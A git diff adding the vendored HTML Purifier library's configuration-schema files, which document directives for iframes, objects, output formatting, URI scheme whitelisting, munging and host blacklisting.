+HTML.SafeIframe
+TYPE: bool
+VERSION: 4.4.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Whether or not to permit iframe tags in untrusted documents. This
+ directive must be accompanied by a whitelist of permitted iframes,
+ such as %URI.SafeIframeRegexp, otherwise it will fatally error.
+ This directive has no effect on strict doctypes, as iframes are not
+ valid.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt
new file mode 100644
index 000000000..ceb342e22
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeObject.txt
@@ -0,0 +1,13 @@
+HTML.SafeObject
+TYPE: bool
+VERSION: 3.1.1
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Whether or not to permit object tags in documents, with a number of extra
+ security features added to prevent script execution. This is similar to
+ what websites like MySpace do to object tags. You should also enable
+ %Output.FlashCompat in order to generate Internet Explorer
+ compatibility code for your object tags.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt
new file mode 100644
index 000000000..5ebc7a19d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.SafeScripting.txt
@@ -0,0 +1,10 @@
+HTML.SafeScripting
+TYPE: lookup
+VERSION: 4.5.0
+DEFAULT: array()
+--DESCRIPTION--
+<p>
+ Whether or not to permit script tags to external scripts in documents.
+ Inline scripting is not allowed, and the script must match an explicit whitelist.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt
new file mode 100644
index 000000000..a8b1de56b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Strict.txt
@@ -0,0 +1,9 @@
+HTML.Strict
+TYPE: bool
+VERSION: 1.3.0
+DEFAULT: false
+DEPRECATED-VERSION: 1.7.0
+DEPRECATED-USE: HTML.Doctype
+--DESCRIPTION--
+Determines whether or not to use Transitional (loose) or Strict rulesets.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt
new file mode 100644
index 000000000..587a16778
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TargetBlank.txt
@@ -0,0 +1,8 @@
+HTML.TargetBlank
+TYPE: bool
+VERSION: 4.4.0
+DEFAULT: FALSE
+--DESCRIPTION--
+If enabled, <code>target=blank</code> attributes are added to all outgoing links.
+(This includes links from an HTTPS version of a page to an HTTP version.)
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt
new file mode 100644
index 000000000..b4c271b7f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyAdd.txt
@@ -0,0 +1,8 @@
+HTML.TidyAdd
+TYPE: lookup
+VERSION: 2.0.0
+DEFAULT: array()
+--DESCRIPTION--
+
+Fixes to add to the default set of Tidy fixes as per your level.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt
new file mode 100644
index 000000000..4186ccd0d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyLevel.txt
@@ -0,0 +1,24 @@
+HTML.TidyLevel
+TYPE: string
+VERSION: 2.0.0
+DEFAULT: 'medium'
+--DESCRIPTION--
+
+<p>General level of cleanliness the Tidy module should enforce.
+There are four allowed values:</p>
+<dl>
+ <dt>none</dt>
+ <dd>No extra tidying should be done</dd>
+ <dt>light</dt>
+ <dd>Only fix elements that would be discarded otherwise due to
+ lack of support in doctype</dd>
+ <dt>medium</dt>
+ <dd>Enforce best practices</dd>
+ <dt>heavy</dt>
+ <dd>Transform all deprecated elements and attributes to standards
+ compliant equivalents</dd>
+</dl>
+
+--ALLOWED--
+'none', 'light', 'medium', 'heavy'
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt
new file mode 100644
index 000000000..996762bd1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.TidyRemove.txt
@@ -0,0 +1,8 @@
+HTML.TidyRemove
+TYPE: lookup
+VERSION: 2.0.0
+DEFAULT: array()
+--DESCRIPTION--
+
+Fixes to remove from the default set of Tidy fixes as per your level.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt
new file mode 100644
index 000000000..1db9237e9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.Trusted.txt
@@ -0,0 +1,9 @@
+HTML.Trusted
+TYPE: bool
+VERSION: 2.0.0
+DEFAULT: false
+--DESCRIPTION--
+Indicates whether or not the user input is trusted or not. If the input is
+trusted, a more expansive set of allowed tags and attributes will be used.
+See also %CSS.Trusted.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt
new file mode 100644
index 000000000..2a47e384f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/HTML.XHTML.txt
@@ -0,0 +1,11 @@
+HTML.XHTML
+TYPE: bool
+DEFAULT: true
+VERSION: 1.1.0
+DEPRECATED-VERSION: 1.7.0
+DEPRECATED-USE: HTML.Doctype
+--DESCRIPTION--
+Determines whether or not output is XHTML 1.0 or HTML 4.01 flavor.
+--ALIASES--
+Core.XHTML
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt
new file mode 100644
index 000000000..08921fde7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.CommentScriptContents.txt
@@ -0,0 +1,10 @@
+Output.CommentScriptContents
+TYPE: bool
+VERSION: 2.0.0
+DEFAULT: true
+--DESCRIPTION--
+Determines whether or not HTML Purifier should attempt to fix up the
+contents of script tags for legacy browsers with comments.
+--ALIASES--
+Core.CommentScriptContents
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt
new file mode 100644
index 000000000..d6f0d9f29
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FixInnerHTML.txt
@@ -0,0 +1,15 @@
+Output.FixInnerHTML
+TYPE: bool
+VERSION: 4.3.0
+DEFAULT: true
+--DESCRIPTION--
+<p>
+ If true, HTML Purifier will protect against Internet Explorer's
+ mishandling of the <code>innerHTML</code> attribute by appending
+ a space to any attribute that does not contain angled brackets, spaces
+ or quotes, but contains a backtick. This slightly changes the
+ semantics of any given attribute, so if this is unacceptable and
+ you do not use <code>innerHTML</code> on any of your pages, you can
+ turn this directive off.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt
new file mode 100644
index 000000000..93398e859
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.FlashCompat.txt
@@ -0,0 +1,11 @@
+Output.FlashCompat
+TYPE: bool
+VERSION: 4.1.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ If true, HTML Purifier will generate Internet Explorer compatibility
+ code for all object code. This is highly recommended if you enable
+ %HTML.SafeObject.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt
new file mode 100644
index 000000000..79f8ad82c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.Newline.txt
@@ -0,0 +1,13 @@
+Output.Newline
+TYPE: string/null
+VERSION: 2.0.1
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ Newline string to format final output with. If left null, HTML Purifier
+ will auto-detect the default newline type of the system and use that;
+ you can manually override it here. Remember, \r\n is Windows, \r
+ is Mac, and \n is Unix.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt
new file mode 100644
index 000000000..232b02362
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.SortAttr.txt
@@ -0,0 +1,14 @@
+Output.SortAttr
+TYPE: bool
+VERSION: 3.2.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ If true, HTML Purifier will sort attributes by name before writing them back
+ to the document, converting a tag like: <code>&lt;el b="" a="" c="" /&gt;</code>
+ to <code>&lt;el a="" b="" c="" /&gt;</code>. This is a workaround for
+ a bug in FCKeditor which causes it to swap attributes order, adding noise
+ to text diffs. If you're not seeing this bug, chances are, you don't need
+ this directive.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt
new file mode 100644
index 000000000..06bab00a0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Output.TidyFormat.txt
@@ -0,0 +1,25 @@
+Output.TidyFormat
+TYPE: bool
+VERSION: 1.1.1
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Determines whether or not to run Tidy on the final output for pretty
+ formatting reasons, such as indentation and wrap.
+</p>
+<p>
+ This can greatly improve readability for editors who are hand-editing
+ the HTML, but is by no means necessary as HTML Purifier has already
+ fixed all major errors the HTML may have had. Tidy is a non-default
+ extension, and this directive will silently fail if Tidy is not
+ available.
+</p>
+<p>
+ If you are looking to make the overall look of your page's source
+ better, I recommend running Tidy on the entire page rather than just
+ user-content (after all, the indentation relative to the containing
+ blocks will be incorrect).
+</p>
+--ALIASES--
+Core.TidyFormat
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt
new file mode 100644
index 000000000..071bc0295
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/Test.ForceNoIconv.txt
@@ -0,0 +1,7 @@
+Test.ForceNoIconv
+TYPE: bool
+DEFAULT: false
+--DESCRIPTION--
+When set to true, HTMLPurifier_Encoder will act as if iconv does not exist
+and use only pure PHP implementations.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt
new file mode 100644
index 000000000..666635a5f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.AllowedSchemes.txt
@@ -0,0 +1,17 @@
+URI.AllowedSchemes
+TYPE: lookup
+--DEFAULT--
+array (
+ 'http' => true,
+ 'https' => true,
+ 'mailto' => true,
+ 'ftp' => true,
+ 'nntp' => true,
+ 'news' => true,
+)
+--DESCRIPTION--
+Whitelist that defines the schemes that a URI is allowed to have. This
+prevents XSS attacks from using pseudo-schemes like javascript or mocha.
+There is also support for the <code>data</code> and <code>file</code>
+URI schemes, but they are not enabled by default.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt
new file mode 100644
index 000000000..876f0680c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Base.txt
@@ -0,0 +1,17 @@
+URI.Base
+TYPE: string/null
+VERSION: 2.1.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ The base URI is the URI of the document this purified HTML will be
+ inserted into. This information is important if HTML Purifier needs
+ to calculate absolute URIs from relative URIs, such as when %URI.MakeAbsolute
+ is on. You may use a non-absolute URI for this value, but behavior
+ may vary (%URI.MakeAbsolute deals nicely with both absolute and
+ relative paths, but forwards-compatibility is not guaranteed).
+ <strong>Warning:</strong> If set, the scheme on this URI
+ overrides the one specified by %URI.DefaultScheme.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt
new file mode 100644
index 000000000..728e378cb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefaultScheme.txt
@@ -0,0 +1,10 @@
+URI.DefaultScheme
+TYPE: string
+DEFAULT: 'http'
+--DESCRIPTION--
+
+<p>
+ Defines through what scheme the output will be served, in order to
+ select the proper object validator when no scheme information is present.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt
new file mode 100644
index 000000000..f05312ba8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionID.txt
@@ -0,0 +1,11 @@
+URI.DefinitionID
+TYPE: string/null
+VERSION: 2.1.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ Unique identifier for a custom-built URI definition. If you want
+ to add custom URIFilters, you must specify this value.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt
new file mode 100644
index 000000000..80cfea93f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DefinitionRev.txt
@@ -0,0 +1,11 @@
+URI.DefinitionRev
+TYPE: int
+VERSION: 2.1.0
+DEFAULT: 1
+--DESCRIPTION--
+
+<p>
+ Revision identifier for your custom definition. See
+ %HTML.DefinitionRev for details.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt
new file mode 100644
index 000000000..71ce025a2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Disable.txt
@@ -0,0 +1,14 @@
+URI.Disable
+TYPE: bool
+VERSION: 1.3.0
+DEFAULT: false
+--DESCRIPTION--
+
+<p>
+ Disables all URIs in all forms. Not sure why you'd want to do that
+ (after all, the Internet's founded on the notion of a hyperlink).
+</p>
+
+--ALIASES--
+Attr.DisableURI
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt
new file mode 100644
index 000000000..13c122c8c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternal.txt
@@ -0,0 +1,11 @@
+URI.DisableExternal
+TYPE: bool
+VERSION: 1.2.0
+DEFAULT: false
+--DESCRIPTION--
+Disables links to external websites. This is a highly effective anti-spam
+and anti-pagerank-leech measure, but comes at a hefty price: nolinks or
+images outside of your domain will be allowed. Non-linkified URIs will
+still be preserved. If you want to be able to link to subdomains or use
+absolute URIs, specify %URI.Host for your website.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt
new file mode 100644
index 000000000..abcc1efd6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableExternalResources.txt
@@ -0,0 +1,13 @@
+URI.DisableExternalResources
+TYPE: bool
+VERSION: 1.3.0
+DEFAULT: false
+--DESCRIPTION--
+Disables the embedding of external resources, preventing users from
+embedding things like images from other hosts. This prevents access
+tracking (good for email viewers), bandwidth leeching, cross-site request
+forging, goatse.cx posting, and other nasties, but also results in a loss
+of end-user functionality (they can't directly post a pic they posted from
+Flickr anymore). Use it if you don't have a robust user-content moderation
+team.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt
new file mode 100644
index 000000000..f891de499
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.DisableResources.txt
@@ -0,0 +1,15 @@
+URI.DisableResources
+TYPE: bool
+VERSION: 4.2.0
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ Disables embedding resources, essentially meaning no pictures. You can
+ still link to them though. See %URI.DisableExternalResources for why
+ this might be a good idea.
+</p>
+<p>
+ <em>Note:</em> While this directive has been available since 1.3.0,
+ it didn't actually start doing anything until 4.2.0.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt
new file mode 100644
index 000000000..ee83b121d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Host.txt
@@ -0,0 +1,19 @@
+URI.Host
+TYPE: string/null
+VERSION: 1.2.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ Defines the domain name of the server, so we can determine whether or
+ an absolute URI is from your website or not. Not strictly necessary,
+ as users should be using relative URIs to reference resources on your
+ website. It will, however, let you use absolute URIs to link to
+ subdomains of the domain you post here: i.e. example.com will allow
+ sub.example.com. However, higher up domains will still be excluded:
+ if you set %URI.Host to sub.example.com, example.com will be blocked.
+ <strong>Note:</strong> This directive overrides %URI.Base because
+ a given page may be on a sub-domain, but you wish HTML Purifier to be
+ more relaxed and allow some of the parent domains too.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt
new file mode 100644
index 000000000..0b6df7625
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.HostBlacklist.txt
@@ -0,0 +1,9 @@
+URI.HostBlacklist
+TYPE: list
+VERSION: 1.3.0
+DEFAULT: array()
+--DESCRIPTION--
+List of strings that are forbidden in the host of any URI. Use it to kill
+domain names of spam, etc. Note that it will catch anything in the domain,
+so <tt>moo.com</tt> will catch <tt>moo.com.example.com</tt>.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt
new file mode 100644
index 000000000..4214900a5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MakeAbsolute.txt
@@ -0,0 +1,13 @@
+URI.MakeAbsolute
+TYPE: bool
+VERSION: 2.1.0
+DEFAULT: false
+--DESCRIPTION--
+
+<p>
+ Converts all URIs into absolute forms. This is useful when the HTML
+ being filtered assumes a specific base path, but will actually be
+ viewed in a different context (and setting an alternate base URI is
+ not possible). %URI.Base must be set for this directive to work.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt
new file mode 100644
index 000000000..58c81dcc4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.Munge.txt
@@ -0,0 +1,83 @@
+URI.Munge
+TYPE: string/null
+VERSION: 1.3.0
+DEFAULT: NULL
+--DESCRIPTION--
+
+<p>
+ Munges all browsable (usually http, https and ftp)
+ absolute URIs into another URI, usually a URI redirection service.
+ This directive accepts a URI, formatted with a <code>%s</code> where
+ the url-encoded original URI should be inserted (sample:
+ <code>http://www.google.com/url?q=%s</code>).
+</p>
+<p>
+ Uses for this directive:
+</p>
+<ul>
+ <li>
+ Prevent PageRank leaks, while being fairly transparent
+ to users (you may also want to add some client side JavaScript to
+ override the text in the statusbar). <strong>Notice</strong>:
+ Many security experts believe that this form of protection does not deter spam-bots.
+ </li>
+ <li>
+ Redirect users to a splash page telling them they are leaving your
+ website. While this is poor usability practice, it is often mandated
+ in corporate environments.
+ </li>
+</ul>
+<p>
+ Prior to HTML Purifier 3.1.1, this directive also enabled the munging
+ of browsable external resources, which could break things if your redirection
+ script was a splash page or used <code>meta</code> tags. To revert to
+ previous behavior, please use %URI.MungeResources.
+</p>
+<p>
+ You may want to also use %URI.MungeSecretKey along with this directive
+ in order to enforce what URIs your redirector script allows. Open
+ redirector scripts can be a security risk and negatively affect the
+ reputation of your domain name.
+</p>
+<p>
+ Starting with HTML Purifier 3.1.1, there is also these substitutions:
+</p>
+<table>
+ <thead>
+ <tr>
+ <th>Key</th>
+ <th>Description</th>
+ <th>Example <code>&lt;a href=""&gt;</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>%r</td>
+ <td>1 - The URI embeds a resource<br />(blank) - The URI is merely a link</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>%n</td>
+ <td>The name of the tag this URI came from</td>
+ <td>a</td>
+ </tr>
+ <tr>
+ <td>%m</td>
+ <td>The name of the attribute this URI came from</td>
+ <td>href</td>
+ </tr>
+ <tr>
+ <td>%p</td>
+ <td>The name of the CSS property this URI came from, or blank if irrelevant</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+<p>
+ Admittedly, these letters are somewhat arbitrary; the only stipulation
+ was that they couldn't be a through f. r is for resource (I would have preferred
+ e, but you take what you can get), n is for name, m
+ was picked because it came after n (and I couldn't use a), p is for
+ property.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt
new file mode 100644
index 000000000..6fce0fdc3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeResources.txt
@@ -0,0 +1,17 @@
+URI.MungeResources
+TYPE: bool
+VERSION: 3.1.1
+DEFAULT: false
+--DESCRIPTION--
+<p>
+ If true, any URI munging directives like %URI.Munge
+ will also apply to embedded resources, such as <code>&lt;img src=""&gt;</code>.
+ Be careful enabling this directive if you have a redirector script
+ that does not use the <code>Location</code> HTTP header; all of your images
+ and other embedded resources will break.
+</p>
+<p>
+ <strong>Warning:</strong> It is strongly advised you use this in conjunction
+ %URI.MungeSecretKey to mitigate the security risk of an open redirector.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt
new file mode 100644
index 000000000..1e17c1d46
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.MungeSecretKey.txt
@@ -0,0 +1,30 @@
+URI.MungeSecretKey
+TYPE: string/null
+VERSION: 3.1.1
+DEFAULT: NULL
+--DESCRIPTION--
+<p>
+ This directive enables secure checksum generation along with %URI.Munge.
+ It should be set to a secure key that is not shared with anyone else.
+ The checksum can be placed in the URI using %t. Use of this checksum
+ affords an additional level of protection by allowing a redirector
+ to check if a URI has passed through HTML Purifier with this line:
+</p>
+
+<pre>$checksum === hash_hmac("sha256", $url, $secret_key)</pre>
+
+<p>
+ If the output is TRUE, the redirector script should accept the URI.
+</p>
+
+<p>
+ Please note that it would still be possible for an attacker to procure
+ secure hashes en-mass by abusing your website's Preview feature or the
+ like, but this service affords an additional level of protection
+ that should be combined with website blacklisting.
+</p>
+
+<p>
+ Remember this has no effect if %URI.Munge is not on.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt
new file mode 100644
index 000000000..23331a4e7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.OverrideAllowedSchemes.txt
@@ -0,0 +1,9 @@
+URI.OverrideAllowedSchemes
+TYPE: bool
+DEFAULT: true
+--DESCRIPTION--
+If this is set to true (which it is by default), you can override
+%URI.AllowedSchemes by simply registering a HTMLPurifier_URIScheme to the
+registry. If false, you will also have to update that directive in order
+to add more schemes.
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt
new file mode 100644
index 000000000..79084832b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/URI.SafeIframeRegexp.txt
@@ -0,0 +1,22 @@
+URI.SafeIframeRegexp
+TYPE: string/null
+VERSION: 4.4.0
+DEFAULT: NULL
+--DESCRIPTION--
+<p>
+ A PCRE regular expression that will be matched against an iframe URI. This is
+ a relatively inflexible scheme, but works well enough for the most common
+ use-case of iframes: embedded video. This directive only has an effect if
+ %HTML.SafeIframe is enabled. Here are some example values:
+</p>
+<ul>
+ <li><code>%^http://www.youtube.com/embed/%</code> - Allow YouTube videos</li>
+ <li><code>%^http://player.vimeo.com/video/%</code> - Allow Vimeo videos</li>
+ <li><code>%^http://(www.youtube.com/embed/|player.vimeo.com/video/)%</code> - Allow both</li>
+</ul>
+<p>
+ Note that this directive does not give you enough granularity to, say, disable
+ all <code>autoplay</code> videos. Pipe up on the HTML Purifier forums if this
+ is a capability you want.
+</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini
new file mode 100644
index 000000000..5de4505e1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/schema/info.ini
@@ -0,0 +1,3 @@
+name = "HTML Purifier"
+
+; vim: et sw=4 sts=4
